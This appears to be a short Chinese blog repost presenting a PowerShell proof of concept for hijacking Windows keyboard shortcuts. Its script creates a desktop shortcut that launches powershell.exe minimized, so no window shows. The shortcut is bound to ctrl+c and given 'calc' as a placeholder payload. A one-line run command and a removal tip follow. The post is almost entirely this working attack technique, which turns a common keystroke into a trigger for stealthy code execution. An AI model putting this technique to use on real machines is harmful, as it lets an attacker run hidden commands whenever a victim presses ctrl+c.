简单易用，用Powershell劫持Windows系统快捷键

时间：2018-02-04 15:38:15 阅读：305 评论：0 收藏：0 [点我收藏+]

POC:

$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk") // 在桌面创建快捷方式按钮

$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" // 执行文件

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" // 设置快捷按钮图标

$Shortcut.hotkey = "ctrl+c" // 快捷键

$Shortcut.WindowStyle = ‘7‘ // 最小化执行，避免弹窗

$Shortcut.Arguments = ‘calc‘ // 执行参数

$Shortcut.Save()

执行方法：
保存poc，命令行执行

TYPE POC位置 | powershell.exe - profile -

删除快捷图标即可还原

原文地址：https://www.cnblogs.com/wwlww/p/8413218.html

踩

(0)

评论一句话评论（0）